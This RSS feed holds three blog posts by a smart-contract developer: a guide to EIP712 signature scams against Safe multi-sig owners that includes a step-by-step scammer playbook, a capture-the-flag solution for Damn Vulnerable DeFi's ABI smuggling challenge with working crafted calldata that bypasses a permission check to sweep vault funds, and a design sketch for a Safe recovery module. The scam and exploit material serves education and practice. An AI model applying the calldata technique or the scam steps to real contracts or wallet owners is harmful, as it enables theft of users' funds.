<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Benjamin</title>
    <description>The latest articles on Forem by Benjamin (@bxmmm1).</description>
    <link>https://forem.com/bxmmm1</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F508554%2F9f583cf8-930e-41e3-8483-58a4744fc9c4.jpeg</url>
      <title>Forem: Benjamin</title>
      <link>https://forem.com/bxmmm1</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/bxmmm1"/>
    <language>en</language>
    <item>
      <title>Transactionless scam</title>
      <dc:creator>Benjamin</dc:creator>
      <pubDate>Thu, 09 Feb 2023 07:50:07 +0000</pubDate>
      <link>https://forem.com/bxmmm1/transactionless-scam-27il</link>
      <guid>https://forem.com/bxmmm1/transactionless-scam-27il</guid>
      <description>&lt;p&gt;There has been an increasing number of scams via EIP712 signatures. &lt;strong&gt;A lot of people think that in order to lose tokens you need to execute an on-chain transaction, but that is not true.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here is what to do when you are presented with an EIP712 signature:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8tc52wtew6lo2zw9br5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8tc52wtew6lo2zw9br5.png" alt="EIP712 prompt" width="352" height="613"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Click on &lt;strong&gt;"Verify Contract Details"&lt;/strong&gt; and check the contract that is requesting a signature. If you are claiming an NFT airdrop on a website, ask yourself why the verifying contract would be Uniswap's Permit2 or your Safe multi-sig wallet. In this example, the address is &lt;a href="https://goerli.etherscan.io/address/0x0f683fe97b19f5c805d9774f6caa8d3d259b5cf6" rel="noopener noreferrer"&gt;my development Gnosis Safe wallet&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Inspect the &lt;strong&gt;"To"&lt;/strong&gt; field to see what is happening&lt;br&gt;
&lt;a href="https://goerli.etherscan.io/address/0x4a916e57fef455d6103FA67F0d67F61234e09f04" rel="noopener noreferrer"&gt;0x4a916e57fef455d6103FA67F0d67F61234e09f04&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this case, you can see that it is an ERC20 token and that its code is verified on Etherscan. This will help you decode the &lt;strong&gt;"Data"&lt;/strong&gt; field. Usually calls to EOA(Externally Owned Account) will have empty "Data".&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Copy the &lt;strong&gt;"Data"&lt;/strong&gt; into &lt;a href="https://calldata-decoder.apoorv.xyz/" rel="noopener noreferrer"&gt;ETH call data decoder&lt;/a&gt; and try to figure out what it is doing&lt;/p&gt;

&lt;p&gt;In this example the input is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0x095ea7b30000000000000000000000001a38a54e6d0007ad2d095d044bef7143ff46c167ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And that gets us the result&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"allPossibilities"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"function"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"approve(address,uint256)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"params"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"0x1a38A54E6d0007Ad2D095d044bef7143ff46C167"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"115792089237316195423570985008687907853269984665640564039457584007913129639935"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Inspect other fields that you are signing and try to figure out what you are signing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmn00vrlagwbtcx0je6q5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmn00vrlagwbtcx0je6q5.png" alt="other fields" width="352" height="622"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Now let's try to figure out what is happening.
&lt;/h2&gt;

&lt;p&gt;My Safe multi-sig is a verifying contract (step 1) and it is requesting a &lt;a href="https://help.gnosis-safe.io/en/articles/3940875-gas-less-signatures" rel="noopener noreferrer"&gt;gas-less signature&lt;/a&gt;. &lt;br&gt;
This signature allows anybody to execute a safe transaction that does what the signer intended (signed it to do).&lt;br&gt;
In this case, Safe would call &lt;strong&gt;to&lt;/strong&gt; with &lt;strong&gt;data&lt;/strong&gt;.&lt;br&gt;
&lt;strong&gt;To&lt;/strong&gt; is an ERC20 token, and we've decoded data in step 3, and saw that it is calling &lt;code&gt;approve(0x1a38A54E6d0007Ad2D095d044bef7143ff46C167, 115792089237316195423570985008687907853269984665640564039457584007913129639935)&lt;/code&gt; The first parameter is the address to which we are approving our Token, and the second parameter is the amount. This big number is actually a maximum allowance amount.&lt;/p&gt;

&lt;p&gt;If we were to sign this with a Safe multi-sig that has a threshold of &lt;strong&gt;1&lt;/strong&gt;, it would allow &lt;code&gt;0x1a38A54E6d0007Ad2D095d044bef7143ff46C167&lt;/code&gt; address to spend all ERC20 "FREE (FTKN)" tokens that are in that Safe.&lt;/p&gt;

&lt;h2&gt;
  
  
  Potential attack vector for Safe multi-sig owners
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Victim perspective
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;As a user, you visit a website offering NFTs or ERC20 tokens as rewards to eligible users.&lt;/li&gt;
&lt;li&gt;After connecting your wallet, you discover that you are eligible for a reward.&lt;/li&gt;
&lt;li&gt;You click "Claim Reward" and are prompted to sign a signature. Believing that the off-chain signature can't cause harm, you sign it.&lt;/li&gt;
&lt;li&gt;Upon checking your wallet, you find that you've received a token as a reward and share it with your friends.&lt;/li&gt;
&lt;li&gt;Eventually, you realize that your Gnosis Safe is no longer accessible.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Scammer perspective
&lt;/h3&gt;

&lt;p&gt;The following is written from the inverse perspective to show how easy it can be to set up a scam.  &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create a fake site for distributing NFT/ERC20 tokens that promotes rewards for eligible users. &lt;/li&gt;
&lt;li&gt;When a user connects their wallet to check their eligibility, a series of API calls will be made to verify that the user owns a Safe Multi-Sig with funds with a Safe threshold of 1, meaning only one signature is required to add a new owner to the Safe. &lt;/li&gt;
&lt;li&gt;Upon claiming their reward, present an 'addOwner' signature to their Safe Multi-Sig. After the user signs the transaction, your automated scripts will be triggered. One script will perform the airdrop to the user, while another will take over the Safe by removing the other owners.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;My intention is not to teach people new scam methods, but to educate you so that you don't become a victim of this or similar scams.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>devto</category>
      <category>announcement</category>
      <category>offers</category>
    </item>
    <item>
      <title>Damn Vulnerable Defi V3 #15 ABI Smuggling solution</title>
      <dc:creator>Benjamin</dc:creator>
      <pubDate>Fri, 27 Jan 2023 15:00:10 +0000</pubDate>
      <link>https://forem.com/bxmmm1/damn-vulnerable-defi-v3-15-abi-smuggling-solution-4e4m</link>
      <guid>https://forem.com/bxmmm1/damn-vulnerable-defi-v3-15-abi-smuggling-solution-4e4m</guid>
      <description>&lt;h3&gt;
  
  
  TLDR: Solution is at the end, you can copy &amp;amp; paste it
&lt;/h3&gt;

&lt;p&gt;In the test setup, we can see that two permissions are set&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;deployerPermission&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getActionId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0x85fb709d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;deployer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;playerPermission&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getActionId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0xd9caed12&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Deployer has the permission to access the function selector &lt;code&gt;0x85fb709d&lt;/code&gt; which is &lt;code&gt;sweepFunds&lt;/code&gt; function in SelfAuthorizedVault.sol&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feqavzz9p42zj41j8pc67.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feqavzz9p42zj41j8pc67.png" alt="signature of function" width="507" height="34"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The player, on the other hand, has access to the selector &lt;code&gt;0xd9caed12&lt;/code&gt; which is &lt;code&gt;withdraw&lt;/code&gt; function in SelfAuthorizedVault.sol.&lt;/p&gt;

&lt;p&gt;Those two functions are protected with &lt;code&gt;onlyThis&lt;/code&gt; modifiers, to prevent external access, meaning we can only call them through &lt;code&gt;execute&lt;/code&gt;in AuthorizedExecutor.sol&lt;/p&gt;

&lt;p&gt;To take funds, we need to pass the auth part.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if (!permissions[getActionId(selector, msg.sender, target)]) {
  revert NotAllowed();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we take a closer look at &lt;code&gt;getActionId&lt;/code&gt; we can see that it uses &lt;code&gt;keccak256(abi.encodePacked(selector, executor, target))&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;In our case, the player (msg.sender) is authorized only to to &lt;code&gt;withdraw&lt;/code&gt;, but we want him to call &lt;code&gt;sweepFunds&lt;/code&gt;.&lt;br&gt;
We can accomplish that by altering call data.&lt;/p&gt;

&lt;p&gt;First, let's take a look at how authorization of &lt;code&gt;execute&lt;/code&gt; works.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
  // Read the 4-bytes selector at the beginning of `actionData`
  bytes4 selector;
  uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
  assembly {
    selector := calldataload(calldataOffset)
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is telling us that the selector is 4 bytes at the offset 100 in calldata.&lt;/p&gt;

&lt;p&gt;Let us craft our calldata by adding this code to abi-smuggling.challenge.js test&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sweepFundsCalldata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kr"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encodeFunctionData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sweepFunds&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;recovery&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kr"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encodeFunctionData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;execute&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;sweepFundsCalldata&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Full calldata:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, we are calling execute, and passing in two parameters:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;target address&lt;/li&gt;
&lt;li&gt;bytes calldata (this calldata is actually call to &lt;code&gt;sweepFunds&lt;/code&gt; encoded (function selector, address receiver + address token)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This will log to our console:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;0x1cff79cd000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000004485fb709d0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now let us manually 'prettify' this calldata, and make it more human-readable.&lt;br&gt;
(selector is between asterisks &lt;strong&gt;selector&lt;/strong&gt;)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;// 4 byte selector for 'execute'
0x1cff79cd
// + 32-byte padded address (1. param of execute)
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512
// + 32-byte calldata offset (Everything else is 2. param of execute)
0000000000000000000000000000000000000000000000000000000000000040
// + 32-byte calldata length
0000000000000000000000000000000000000000000000000000000000000044
// actual calldata, selector is starting at offset 100 from the start of the calldata
&lt;span class="gs"&gt;**85fb709d**&lt;/span&gt;0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we execute a transaction with this calldata&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;gasLimit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;500000&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We will get a revert with &lt;code&gt;NotAllowed()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now let's modify our calldata and recover the funds.&lt;/p&gt;

&lt;p&gt;Because our second parameter is dynamic data(bytes), we need to learn more about how it is encoded.&lt;/p&gt;

&lt;h3&gt;
  
  
  ABI encoding of dynamic types (bytes, strings)
&lt;/h3&gt;

&lt;p&gt;In the ABI Standard, dynamic types are encoded the following way:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The offset of the dynamic data&lt;/li&gt;
&lt;li&gt;The length of the dynamic data&lt;/li&gt;
&lt;li&gt;The actual value of the dynamic data.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Memory loc      Data
0x00            0000000000000000000000000000000000000000000000000000000000000020 // The offset of the data (32 in decimal)
0x20            000000000000000000000000000000000000000000000000000000000000000d // The length of the data in bytes (13 in decimal)
0x40            48656c6c6f2c20776f726c642100000000000000000000000000000000000000 // actual value
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you hex decode &lt;code&gt;48656c6c6f2c20776f726c6421&lt;/code&gt; you will get "Hello, world!".&lt;/p&gt;

&lt;p&gt;Finally, let us modify our calldata so that we can return the funds to &lt;code&gt;recovery.address&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;// execute selector
0x1cff79cd
// vault.address (first 32 bytes)
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512
// offset -&amp;gt; start of the calldata (128 bytes in decimal - 4 x 32 bytes) (second 32 bytes)
0000000000000000000000000000000000000000000000000000000000000080
// empty data (third 32 bytes)
0000000000000000000000000000000000000000000000000000000000000000
// we inserted the selector at offset 100 from the start of entire calldata (fourth 32 bytes)
&lt;span class="gs"&gt;**d9caed12**&lt;/span&gt;00000000000000000000000000000000000000000000000000000000
// start of the calldata (calldata length) (0x44 = 128 in decimal) 4x32 bytes = 0x80 = 128 offset
0000000000000000000000000000000000000000000000000000000000000044
// sweepFunds calldata
85fb709d0000000000000000000000003C44CdDdB6a900fa2b585dd299e03d12FA4293BC0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we planted &lt;code&gt;d9caed12&lt;/code&gt; in calldata so that the contract authorizes us, but by manipulating calldata, we are skipping that part in the actual code execution in external call.&lt;/p&gt;

&lt;h3&gt;
  
  
  Final code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;    &lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Execution&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="cm"&gt;/** CODE YOUR SOLUTION HERE */&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;0x1cff79cd000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d0000000000000000000000003C44CdDdB6a900fa2b585dd299e03d12FA4293BC0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>ai</category>
      <category>opensource</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Safe recovery module</title>
      <dc:creator>Benjamin</dc:creator>
      <pubDate>Sun, 18 Dec 2022 11:23:38 +0000</pubDate>
      <link>https://forem.com/bxmmm1/safe-recovery-module-1mf</link>
      <guid>https://forem.com/bxmmm1/safe-recovery-module-1mf</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Safe is a smart contract wallet running on several blockchains that requires a minimum number of people to approve a transaction before it can occur (M-of-N). If for example, you have 3 main stakeholders in your business, you are able to set up the wallet to require approval from 2 out of 3 (2/3) or all 3 people before the transaction is sent. This assures that no single person could compromise the funds.&lt;/p&gt;

&lt;p&gt;A lot of smart people use Safe to manage their funds. It is not uncommon to have 2/3 safe and to control all 3 signers.&lt;/p&gt;

&lt;p&gt;One wallet can live in the browser (Metamask) Another one can be a hardware wallet (Ledger), and the third one can be a piece of paper written and stored in a drawer.&lt;/p&gt;

&lt;p&gt;This is considered a good practice because if one gets compromised, no harm is done. Funds are stored in &lt;a href="https://safe.global/"&gt;Safe&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Painful truth - motivation
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Everybody dies, eventually. And crypto hasn't solved the problem of leaving your coins and tokens to loved ones.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I'm a motorcycle fan and I enjoy going on random rides, I'm aware of the risk that I'm exposing myself to, and while I'm doing my best to behave on the road, I can't vouch for the others. One day I was riding and thinking to myself "what if something happened to me?". Of course, I'm a fan of self-custody, and I keep my stuff on &lt;code&gt;Safe&lt;/code&gt;. I'd want to leave my crypto to others, but I don't want them to be in control of my money and my precious jpegs while I'm still alive.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;

&lt;p&gt;Safe owner pays a yearly fee and sets up notifications (SMS/Email) and a goodbye message.&lt;/p&gt;

&lt;p&gt;Let's say that Alice wants to give away Safe to Bob after 2 years. She'd set up the recovery address to Bob's address and a recovery date timestamp 2 years in the future.&lt;/p&gt;

&lt;p&gt;Fast forward 2 years in the future, the notification system would notify Alice that Safe will be transferred to Bob in 30 days. If Alice is unable to extend the period/cancel the ownership transfer. Bob would get notified and would get the goodbye message and the Safe ownership would be transferred to Bob.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How it works:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Safe recovery module and service&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Gnosis Safe Modules enable additional access-control logic for your Gnosis Safe account. Essentially, every Gnosis Safe account is controlled by two means. By the account owners using their signer keys and by optional modules that have their own custom access logic.&lt;/p&gt;

&lt;p&gt;Idea is to create a module and a service that will transfer safe ownership to some new address.&lt;/p&gt;

&lt;p&gt;The solution consists of a few different parts&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;RecoveryRegistry (Immutable smart contract) that is storing the recovery date and a recovery address&lt;/li&gt;
&lt;li&gt;RecoveryModule smart contract that is responsible for transferring ownership of a safe&lt;/li&gt;
&lt;li&gt;Notification system - a system that notifies Safe owner and a new recovery address of what happened&lt;/li&gt;
&lt;/ul&gt;

